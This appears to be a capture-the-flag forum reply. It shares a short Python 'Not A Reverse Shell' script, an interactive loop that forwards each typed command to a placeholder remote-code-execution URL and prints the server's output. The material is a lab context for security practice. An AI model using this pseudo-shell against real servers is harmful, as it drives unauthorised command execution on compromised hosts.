Real fun box, I got stuck at root, thanks to @LMAY75 for the nudge.
On a hindsight, it was obvious.
I loved scripting to own this box, this is my take on the “Not A Reverse Shell”, nothing new but since nobody posted something similar (having history, history search and emacs style special keys).
#!/usr/bin/env python3
import cmd
def execute(line):
import requests
target="http://YOURRCE"
r = requests.get(target, params={"YOURCMDARG":line})
if r.status_code == 200:
return r.text
else:
return f"{r.text}\r\nnars> ERROR: http response code was {r.status_code}"
class NotAReverseShell(cmd.Cmd):
prompt="nars> "
def do_help(self, line):
print("Not A Reverse Shell, a pseudo shell when you cannot have one.")
def default(self, line):
print(execute(line))
def do_EOF(self, line):
print()
return True
def do_exit(self, line):
return True
def do_quit(self, line):
return True
if __name__ == "__main__":
NotAReverseShell().cmdloop()
Beautiful box!